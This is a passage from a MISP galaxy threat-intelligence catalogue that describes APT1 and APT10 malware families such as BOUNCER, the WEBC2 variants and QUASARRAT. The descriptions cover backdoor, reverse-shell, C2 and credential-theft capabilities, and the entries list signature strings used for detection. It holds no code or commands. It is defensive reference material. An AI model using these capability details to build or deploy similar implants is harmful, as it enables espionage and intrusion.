http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

BOUNCER

BOUNCER will load an extracted DLL into memory, and then will call the DLL's dump export. The dump export is called with the parameters passed via the command line to the BOUNCER executable. It requires at least two arguments, the IP and port to send the password dump information. It can accept at most five arguments, including a proxy IP, port and an x.509 key for SSL authentication. The DLL backdoor has the capability to execute arbitrary commands, collect database and server information, brute force SQL login credentials, launch arbitrary programs, create processes and threads, delete files, and redirect network traffic.

The tag is: *misp-galaxy:tool="BOUNCER"*

View relationships graph

BOUNCER has relationships with:

- similar: misp-galaxy:malpedia="Bouncer" with estimative-language:likelihood-probability="almost-certain"

Table 24452. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

CALENDAR

This family of malware uses Google Calendar to retrieve commands and send results. It retrieves event feeds associated with Google Calendar, where each event contains commands from the attacker for the malware to perform. Results are posted back to the event feed. The malware authenticates with Google using the hard coded email address and passwords. The malware uses the deprecated ClientLogin authentication API from Google. The malware is registered as a service dll as a persistence mechanism. Artifacts of this may be found in the registry.

The tag is: *misp-galaxy:tool="CALENDAR"*

View relationships graph

CALENDAR has relationships with:

- similar: misp-galaxy:mitre-malware="CALENDAR - S0025" with estimative-language:likelihood-probability="likely"

Table 24453. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

COMBOS

The COMBOS malware family is an HTTP based backdoor. The backdoor is capable of file upload, file download, spawning a interactive reverse shell, and terminating its own process. The backdoor may decrypt stored Internet Explorer credentials from the local system and transmit the credentials to the C2 server. The COMBOS malware family does not have any persistence mechanisms built into itself.

The tag is: *misp-galaxy:tool="COMBOS"*

View relationships graph

COMBOS has relationships with:

- similar: misp-galaxy:malpedia="Combos" with estimative-language:likelihood-probability="almost-certain"

Table 24454. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

COOKIEBAG

his family of malware is a backdoor capable of file upload and download as well as providing remote interactive shell access to the compromised machine. Communication with the Command & Control (C2) servers uses a combination of single-byte XOR and Base64 encoded data in the Cookie and Set-Cookie HTTP header fields. Communication with the C2 servers is over port 80. Some variants install a registry key as means of a persistence mechanism. The hardcoded strings cited include a string of a command in common with several other APT1 families.

The tag is: *misp-galaxy:tool="COOKIEBAG"*

COOKIEBAG is also known as:

- TROJAN.COOKIES

View relationships graph

COOKIEBAG has relationships with:

- similar: misp-galaxy:malpedia="CookieBag" with estimative-language:likelihood-probability="almost-certain"

Table 24455. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

DAIRY

Members of this malware family are backdoors that provide file downloading, process listing, process killing, and reverse shell capabilities. This malware may also add itself to the Authorized Applications list for the Windows Firewall.

The tag is: *misp-galaxy:tool="DAIRY"*

View relationships graph

DAIRY has relationships with:

- similar: misp-galaxy:malpedia="Dairy" with estimative-language:likelihood-probability="almost-certain"

Table 24456. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

GETMAIL

Members of this family of malware are utilities designed to extract email messages and attachments from Outlook PST files. One part of this utility set is an executable, one is a dll. The malware may create a registry artifact related to the executable.

The tag is: *misp-galaxy:tool="GETMAIL"*

View relationships graph

GETMAIL has relationships with:

- similar: misp-galaxy:malpedia="GetMail" with estimative-language:likelihood-probability="almost-certain"

Table 24457. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

GDOCUPLOAD

This family of malware is a utility designed to upload files to Google Docs. Nearly all communications are with docs.google.com are SSL encrypted. The malware does not use Google's published API to interact with their services. The malware does not currently work with Google Docs. It does not detect HTTP 302 redirections and will get caught in an infinite loop attempting to parse results from Google that are not present.

The tag is: *misp-galaxy:tool="GDOCUPLOAD"*

Table 24458. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

GLOOXMAIL

GLOOXMAIL communicates with Google's Jabber/XMPP servers and authenticates with a hard-coded username and password. The malware can accept commands over XMPP that includes file upload and download, provide a remote shell, sending process listings, and terminating specified processes. The malware makes extensive use of the open source gloox library (http://camaya.net/gloox/, version 0.9.9.12) to communicate using the Jabber/XMPP protocol. All communications with the Google XMPP server are encrypted.

The tag is: *misp-galaxy:tool="GLOOXMAIL"*

GLOOXMAIL is also known as:

- TROJAN.GTALK

View relationships graph

GLOOXMAIL has relationships with:

- similar: misp-galaxy:mitre-malware="GLOOXMAIL - S0026" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="GlooxMail" with estimative-language:likelihood-probability="almost-certain"

Table 24459. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

GOGGLES

A family of downloader malware, that retrieves an encoded payload from a fixed location, usually in the form of a file with the .jpg extension. Some variants have just an .exe that acts as a downloader, others have an .exe launcher that runs as a service and then loads an associated .dll of the same name that acts as the downloader. This IOC is targeted at the downloaders only. After downloading the file, the malware decodes the downloaded payload into an .exe file and launches it. The malware usually stages the files it uses in the %TEMP% directory or the %WINDIR%\Temp directory.

The tag is: *misp-galaxy:tool="GOGGLES"*

GOGGLES is also known as:

- TROJAN.FOXY

View relationships graph

GOGGLES has relationships with:

- similar: misp-galaxy:malpedia="Goggles" with estimative-language:likelihood-probability="almost-certain"

Table 24460. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

GREENCAT

Members of this family are full featured backdoors that communicates with a Web-based Command & Control (C2) server over SSL. Features include interactive shell, gathering system info, uploading and downloading files, and creating and killing processes, Malware in this family usually communicates with a hard-coded domain using SSL on port 443. Some members of this family rely on launchers to establish persistence mechanism for them. Others contains functionality that allows it to install itself, replacing an existing Windows service, and uninstall itself. Several variants use %SystemRoot%\Tasks or %WinDir%\Tasks as working directories, additional malware artifacts may be found there.

The tag is: *misp-galaxy:tool="GREENCAT"*

Table 24461. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

HACKFASE

```
This family of malware is a backdoor that provides reverse shell, process creation,
system statistics collection, process enumeration, and process termination
capabilities. This family is designed to be a service DLL and does not contain an
installation mechanism. It usually communicates over port 443. Some variants use their
own encryption, others use SSL.
```

The tag is: *misp-galaxy:tool="HACKFASE"*

Table 24462. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

HELAUTO

```
This family of malware is designed to operate as a service and provides remote command
execution and file transfer capabilities to a fixed IP address or domain name. All
communication with the C2 server happens over port 443 using SSL. This family can be
installed as a service DLL. Some variants allow for uninstallation.
```

The tag is: *misp-galaxy:tool="HELAUTO"*

View relationships graph

HELAUTO has relationships with:

- similar: misp-galaxy:malpedia="Helauto" with estimative-language:likelihood-probability="almost-certain"

Table 24463. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

KURTON

This family of malware is a backdoor that tunnels its connection through a preconfigured proxy. The malware communicates with a remote command and control server over HTTPS via the proxy. The malware installs itself as a Windows service with a service name supplied by the attacker but defaults to IPRIP if no service name is provided during install.

The tag is: *misp-galaxy:tool="KURTON"*

View relationships graph

KURTON has relationships with:

- similar: misp-galaxy:malpedia="Kurton" with estimative-language:likelihood-probability="almost-certain"

Table 24464. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

LIGHTBOLT

LIGHTBOLT is a utility with the ability to perform HTTP GET requests for a list of user-specified URLs. The responses of the HTTP requests are then saved as MHTML files, which are added to encrypted RAR files. LIGHTBOLT has the ability to use software certificates for authentication.

The tag is: *misp-galaxy:tool="LIGHTBOLT"*

Table 24465. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

LIGHTDART

LIGHTDART is a tool used to access a pre-configured web page that hosts an interface to query a database or data set. The tool then downloads the results of a query against that web page to an encrypted RAR file. This RAR file (1.rar) is renamed and uploaded to an attacker controlled FTP server, or uploaded via an HTTP POST with a .jpg extension. The malware will execute this search once a day. The target webpage usually contains information useful to the attacker, which is updated on a regular basis. Examples of targeted information include weather information or ship coordinates.

The tag is: *misp-galaxy:tool="LIGHTDART"*

Table 24466. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

LONGRUN

LONGRUN is a backdoor designed to communicate with a hard-coded IP address and provide the attackers with a custom interactive shell. It supports file uploads and downloads, and executing arbitrary commands on the compromised machine. When LONGRUN executes, it first loads configuration data stored as an obfuscated string inside the PE resource section. The distinctive string thequickbrownfxjmpsvalzydg is used as part of the input to the decoding algorithm. When the configuration data string is decoded it is parsed and treated as an IP and port number. The malware then connects to the host and begins interacting with it over a custom protocol.

The tag is: *misp-galaxy:tool="LONGRUN"*

Table 24467. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

MANITSME

This family of malware will beacon out at random intervals to the remote attacker. The attacker can run programs, execute arbitrary commands, and easily upload and download files. This IOC looks for both the dropper file and the backdoor.

The tag is: *misp-galaxy:tool="MANITSME"*

View relationships graph

MANITSME has relationships with:

- similar: misp-galaxy:malpedia="ManItsMe" with estimative-language:likelihood-probability="almost-certain"

Table 24468. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

MAPIGET

This malware utility is a set of two files that operate in conjunction to extract email messages and attachments from an Exchange server. In order to operate successfully, these programs require authentication credentials for a user on the Exchange server, and must be run from a machine joined to the domain that has Microsoft Outlook installed (or equivalent software that provides the Microsoft 'Messaging API' (MAPI) service).

The tag is: *misp-galaxy:tool="MAPIGET"*

View relationships graph

MAPIGET has relationships with:

- similar: misp-galaxy:malpedia="MAPIget" with estimative-language:likelihood-probability="almost-certain"

Table 24469. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html
http://contagiodump.blogspot.com/2010/06/these-days-i-see-spike-in-number-of.html

MINIASP

This family of malware consists of backdoors that attempt to fetch encoded commands over HTTP. The malware is capable of downloading a file, downloading and executing a file, executing arbitrary shell commands, or sleeping a specified interval.

The tag is: *misp-galaxy:tool="MINIASP"*

View relationships graph

MINIASP has relationships with:

- similar: misp-galaxy:malpedia="MiniASP" with estimative-language:likelihood-probability="almost-certain"

Table 24470. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

NEWSREELS

The NEWSREELS malware family is an HTTP based backdoor. When first started, NEWSREELS decodes two strings from its resources section. These strings are both used as C2 channels, one URL is used as a beacon URL (transmitting) and the second URL is used to get commands (receiving). The NEWSREELS malware family is capable of performing file uploads, downloads, creating processes or creating an interactive reverse shell.

The tag is: *misp-galaxy:tool="NEWSREELS"*

View relationships graph

NEWSREELS has relationships with:

- similar: misp-galaxy:malpedia="NewsReels" with estimative-language:likelihood-probability="almost-certain"

Table 24471. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

SEASALT

The SEASALT malware family communicates via a custom binary protocol. It is capable of gathering some basic system information, file system manipulation, file upload and download, process creation and termination, and spawning an interactive reverse shell. The malware maintains persistence by installing itself as a service.

The tag is: *misp-galaxy:tool="SEASALT"*

View relationships graph

SEASALT has relationships with:

- similar: misp-galaxy:malpedia="SeaSalt" with estimative-language:likelihood-probability="almost-certain"

Table 24472. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

STARSYPOUND

STARSYPOUND provides an interactive remote shell over an obfuscated communications channel. When it is first run, it loads a string (from the executable PE resource section) containing the beacon IP address and port. The malware sends the beacon string "**(SY)# <HOSTNAME>" to the remote system, where <HOSTNAME> is the hostname of the victim system. The remote host responds with a packet that also begins with the string "**(SY)# cmd". This causes the malware to launch a new cmd.exe child process. Further communications are forwarded to the cmd.exe child process to execute. The commands sent to the shell and their responses are obfuscated when sent over the network.

The tag is: *misp-galaxy:tool="STARSYPOUND"*

View relationships graph

STARSYPOUND has relationships with:

- similar: misp-galaxy:malpedia="StarsyPound" with estimative-language:likelihood-probability="almost-certain"

Table 24473. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

SWORD

This family of malware provides a backdoor over the network to the attackers. It is configured to connect to a single host and offers file download over HTTP, program execution, and arbitrary execution of commands through a cmd.exe instance.

The tag is: *misp-galaxy:tool="SWORD"*

View relationships graph

SWORD has relationships with:

- similar: misp-galaxy:malpedia="Sword" with estimative-language:likelihood-probability="almost-certain"

Table 24474. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

TABMSGSQL

```
This malware family is a full-featured backdoor capable of file uploading and
downloading, arbitrary execution of programs, and providing a remote interactive
```

```
command shell. All communications with the C2 server are sent over HTTP to a static
URL, appending various URL parameters to the request. Some variants use a slightly
different URL.
```

The tag is: *misp-galaxy:tool="TABMSGSQL"*

TABMSGSQL is also known as:

- TROJAN LETSGO

View relationships graph

TABMSGSQL has relationships with:

- similar: misp-galaxy:malpedia="TabMsgSQL" with estimative-language:likelihood-probability="almost-certain"

Table 24475. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

TARSIP-ECLIPSE

The TARSIP malware family is a backdoor which communicates over encoded information in HTTPS headers. Typical TARSIP malware samples will only beacon out to their C2 servers if the C2 DNS address resolves to a specific address. The capability of TARSIP backdoors includes file uploading, file downloading, interactive command shells, process enumeration, process creation, process termination. The TARSIP-ECLIPSE family is distinguished by the presence of 'eclipse' in .pdb debug strings present in the malware samples. It does not provide a built in mechanism to maintain persistence.

The tag is: *misp-galaxy:tool="TARSIP-ECLIPSE"*

Table 24476. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

TARSIP-MOON

The TARSIP malware family is a backdoor which communicates over encoded information in HTTPS headers. Typical TARSIP malware samples will only beacon out to their C2 servers if the C2 DNS address resolves to a specific address. The capability of TARSIP backdoors includes file uploading, file downloading, interactive command shells, process enumeration, process creation, process termination. The TARSIP-MOON family is distinguished by the presence of 'moon' in .pdb debug strings present in the malware samples. It does not provide a built in mechanism to maintain persistence.

The tag is: *misp-galaxy:tool="TARSIP-MOON"*

Table 24477. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WARP

The WARP malware family is an HTTP based backdoor written in C++, and the majority of its code base is borrowed from source code available in the public domain. Network communications are implemented using the same WWW client library (w3c.cpp) available from www.dankrusi.com/file_69653F3336383837.html. The malware has system survey functionality (collects hostname, current user, system uptime, CPU speed, etc.) taken directly from the BO2K backdoor available from www.bo2k.com. It also contains the hard disk identification code found at www.winsim.com/diskid32/diskid32.cpp. When the WARP executing remote commands, the malware creates a copy of the ?%SYSTEMROOT%\system32\cmd.exe? file as '%USERPROFILE%\Temp\~ISUN32.EXE'. The version signature information of the duplicate executable is zeroed out. Some WARP variants maintain persistence through the use of DLL search order hijacking.

The tag is: *misp-galaxy:tool="WARP"*

Table 24478. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-ADSPACE

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware is capable of downloading and executing a file. All variants represented here are the same file with different MD5 signatures. This malware attempts to contact its C2 once a week (Thursday at 10:00 AM). It looks for commands inside a set of HTML tags, part of which are in the File Strings indicator term below.

The tag is: *misp-galaxy:tool="WEBC2-ADSPACE"*

View relationships graph

WEBC2-ADSPACE has relationships with:

- similar: misp-galaxy:malpedia="WebC2-AdSpace" with estimative-language:likelihood-probability="almost-certain"

Table 24479. Table References

Links

http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-AUSOV

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This malware family is a only a downloader which operates over the HTTP protocol with a hard-coded URL. If directed, it has the capability to download, decompress, and execute compressed binaries.

The tag is: *misp-galaxy:tool="WEBC2-AUSOV"*

View relationships graph

WEBC2-AUSOV has relationships with:

- similar: misp-galaxy:malpedia="WebC2-Ausov" with estimative-language:likelihood-probability="almost-certain"

Table 24480. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-BOLID

```
A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server.
It expects the Web page to contain special HTML tags; the backdoor will attempt to
interpret the data between the tags as commands. This family of malware is a backdoor
capable of downloading files and updating its configuration. Communication with the
command and control (C2) server uses a combination of single-byte XOR and Base64
encoded data wrapped in standard HTML tags. The malware family installs a registry key
as a persistence mechanism.
```

The tag is: *misp-galaxy:tool="WEBC2-BOLID"*

View relationships graph

WEBC2-BOLID has relationships with:

- similar: misp-galaxy:malpedia="WebC2-Bolid" with estimative-language:likelihood-probability="almost-certain"

Table 24481. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-CLOVER

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The family of malware provides the attacker with an interactive command shell, the ability to upload and download files, execute commands on the system, list processes and DLLs, kill processes, and ping hosts on the local network. Responses to these commands are encrypted and compressed before being POSTed to the server. Some variants copy cmd.exe to Updatasched.exe in a temporary directory, and then may launch that in a process if an interactive shell is called. On initial invocation, the malware also attempts to delete previous copies of the Updatasched.exe file.

The tag is: *misp-galaxy:tool="WEBC2-CLOVER"*

Table 24482. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-CSON

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of malware act only as downloaders and droppers for other malware. They communicate with a hard-coded C2 server, reading commands embedded in HTML comment fields. Some variants are executables which act upon execution, others are DLLs which can be attached to services or loaded through search order hijacking.

The tag is: *misp-galaxy:tool="WEBC2-CSON"*

View relationships graph

WEBC2-CSON has relationships with:

- similar: misp-galaxy:malpedia="WebC2-Cson" with estimative-language:likelihood-probability="almost-certain"

Table 24483. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-DIV

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-DIV variant searches for the strings "div safe:" and " balance" to delimit encoded C2 information. If the decoded string begins with the letter "J" the

malware will parse additional arguments in the decoded string to specify the sleep interval to use. WEBC2-DIV is capable of downloading a file, downloading and executing a file, or sleeping a specified interval.

The tag is: *misp-galaxy:tool="WEBC2-DIV"*

View relationships graph

WEBC2-DIV has relationships with:

- similar: misp-galaxy:malpedia="WebC2-DIV" with estimative-language:likelihood-probability="almost-certain"

Table 24484. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-GREENCAT

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This malware is a variant on the GREENCAT family, using a fixed web C2. This family is a full featured backdoor which provides remote command execution, file transfer, process and service enumeration and manipulation. It installs itself persistently through the current user's registry Run key.

The tag is: *misp-galaxy:tool="WEBC2-GREENCAT"*

View relationships graph

WEBC2-GREENCAT has relationships with:

- similar: misp-galaxy:malpedia="WebC2-GreenCat" with estimative-language:likelihood-probability="almost-certain"

Table 24485. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-HEAD

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-HEAD variant communicates over HTTPS, using the system's SSL implementation to encrypt all communications with the C2 server. WEBC2-HEAD first issues an HTTP GET to the host, sending the Base64-encoded string containing the name of the compromised machine running the malware.

The tag is: *misp-galaxy:tool="WEBC2-HEAD"*

View relationships graph

WEBC2-HEAD has relationships with:

- similar: misp-galaxy:malpedia="WebC2-Head" with estimative-language:likelihood-probability="almost-certain"

Table 24486. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-KT3

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-KT3 variant searches for commands in a specific comment tag. Network traffic starting with *!Kt3+v| may indicate WEBC2-KT3 activity.

The tag is: *misp-galaxy:tool="WEBC2-KT3"*

View relationships graph

WEBC2-KT3 has relationships with:

- similar: misp-galaxy:malpedia="WebC2-Kt3" with estimative-language:likelihood-probability="almost-certain"

Table 24487. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-QBP

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-QBP variant will search for two strings in a HTML comment. The first will be "2010QBP " followed by " 2010QBP//--". Inside these tags will be a DES-encrypted string.

The tag is: *misp-galaxy:tool="WEBC2-QBP"*

View relationships graph

WEBC2-QBP has relationships with:

- similar: misp-galaxy:malpedia="WebC2-Qbp" with estimative-language:likelihood-

probability="almost-certain"

Table 24488. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-RAVE

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware will set itself up as a service and connect out to a hardcoded web page and read a modified base64 string from this webpage. The later versions of this malware supports three commands (earlier ones are just downloaders or reverse shells). The first commands will sleep the malware for N number of hours. The second command will download a binary from the encoded HTML comment and execute it on the infected host. The third will spawn an encoded reverse shell to an attacker specified location and port.

The tag is: *misp-galaxy:tool="WEBC2-RAVE"*

View relationships graph

WEBC2-RAVE has relationships with:

- similar: misp-galaxy:malpedia="WebC2-Rave" with estimative-language:likelihood-probability="almost-certain"

Table 24489. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-TABLE

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-TABLE variant looks for web pages containing 'background', 'align', and 'bgcolor' tags to be present in the requested Web page. If the data in these tags are formatted correctly, the malware will decode a second URL and a filename. This URL is then retrieved, written to the decoded filename and executed.

The tag is: *misp-galaxy:tool="WEBC2-TABLE"*

View relationships graph

WEBC2-TABLE has relationships with:

- similar: misp-galaxy:malpedia="WebC2-Table" with estimative-language:likelihood-probability="almost-certain"

Table 24490. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-TOCK

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-TABLE variant looks for web pages containing 'background', 'align', and 'bgcolor' tags to be present in the requested Web page. If the data in these tags are formatted correctly, the malware will decode a second URL and a filename. This URL is then retrieved, written to the decoded filename and executed.

The tag is: *misp-galaxy:tool="WEBC2-TOCK"*

Table 24491. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-UGX

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of malware provide remote command shell and remote file download and execution capabilities. The malware downloads a web page containing a crafted HTML comment that subsequently contains an encoded command. The contents of this command tell the malware whether to download and execute a program, launch a reverse shell to a specific host and port number, or to sleep for a period of time.

The tag is: *misp-galaxy:tool="WEBC2-UGX"*

View relationships graph

WEBC2-UGX has relationships with:

- similar: misp-galaxy:malpedia="WebC2-UGX" with estimative-language:likelihood-probability="almost-certain"

Table 24492. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-Y21K

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects

the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of backdoor malware talk to specific Web-based Command & Control (C2) servers. The backdoor has a limited command set, depending on version. It is primarily a downloader, but it classified as a backdoor because it can accept a limited command set, including changing local directories, downloading and executing additional files, sleeping, and connecting to a specific IP & port not initially included in the instruction set for the malware. Each version of the malware has at least one hardcoded URL to which it connects to receive its initial commands. This family of malware installs itself as a service, with the malware either being the executable run by the service, or the service DLL loaded by a legitimate service. The same core code is seen recompiled on different dates or with different names, but the same functionality. Key signatures include a specific set of functions (some of which can be used with the OS-provided rundll32.exe tool to install the malware as a service), and hardcoded strings used in communication with C2 servers to issue commands to the implant.

The tag is: *misp-galaxy:tool="WEBC2-Y21K"*

Table 24493. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-YAHOO

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-YAHOO variant enters a loop where every ten minutes it attempts to download a web page that may contain an encoded URL. The encoded URL will be found in the pages returned inside an attribute named 'sb' or 'ex' within a tag named 'yahoo'. The embedded link can direct the malware to download and execute files.

The tag is: *misp-galaxy:tool="WEBC2-YAHOO"*

View relationships graph

WEBC2-YAHOO has relationships with:

- similar: misp-galaxy:malpedia="WebC2-Yahoo" with estimative-language:likelihood-probability="almost-certain"

Table 24494. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

HAYMAKER

HAYMAKER is a backdoor that can download and execute additional payloads in the form of modules. It also conducts basic victim profiling activity, collecting the computer name, running process IDs, %TEMP% directory path and version of Internet Explorer. It communicates encoded

system information to a single hard coded command and control (C2) server, using the system's default User-Agent string.

The tag is: *misp-galaxy:tool="HAYMAKER"*

View relationships graph

HAYMAKER has relationships with:

- similar: misp-galaxy:mitre-malware="ChChes - S0144" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="ChChes" with estimative-language:likelihood-probability="likely"

Table 24495. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html

BUGJUICE

BUGJUICE is a backdoor that is executed by launching a benign file and then hijacking the search order to load a malicious dll into it. That malicious dll then loads encrypted shellcode from the binary, which is decrypted and runs the final BUGJUICE payload. BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2. It has the capability to find files, enumerate drives, exfiltrate data, take screenshots and provide a reverse shell.

The tag is: *misp-galaxy:tool="BUGJUICE"*

View relationships graph

BUGJUICE has relationships with:

- similar: misp-galaxy:rat="RedLeaves" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="RedLeaves - S0153" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="RedLeaves" with estimative-language:likelihood-probability="likely"

Table 24496. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html

SNUGRIDE

SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests. Messages

are encrypted using AES with a static key. The malware's capabilities include taking a system survey, access to the filesystem, executing commands and a reverse shell. Persistence is maintained through a Run registry key.

The tag is: *misp-galaxy:tool="SNUGRIDE"*

View relationships graph

SNUGRIDE has relationships with:

- similar: misp-galaxy:mitre-malware="SNUGRIDE - S0159" with estimative-language:likelihood-probability="likely"

Table 24497. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html

QUASARRAT

QUASARRAT is an open-source RAT available at https://github.com/quasar/QuasarRat . The versions used by APT10 (1.3.4.0, 2.0.0.0, and 2.0.0.1) are not available via the public GitHub page, indicating that APT10 has further customized the open source version. The 2.0 versions require a dropper to decipher and launch the AES encrypted QUASARRAT payload. QUASARRAT is a fully functional .NET backdoor that has been used by multiple cyber espionage groups in the past. QUASARRAT is a publicly available Windows backdoor. It may visit a website, download, upload, and execute files. QUASARRAT may acquire system information, act as a remote desktop or shell, or remotely activate the webcam. The backdoor may also log keystrokes and steal passwords from commonly used browsers and FTP clients. QUASARRAT was originally named xRAT before it was renamed by the developers in August 2015. Availability: Public

The tag is: *misp-galaxy:tool="QUASARRAT"*

View relationships graph

QUASARRAT has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="Kimsuky" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:rat="Quasar RAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Quasar RAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-tool="QuasarRAT - S0262" with estimative-language:likelihood-probability="likely"

Table 24498. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html
https://researchcenter.paloaltonetworks.com/2017/10/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat-actors-repository/
https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report

da Vinci RCS

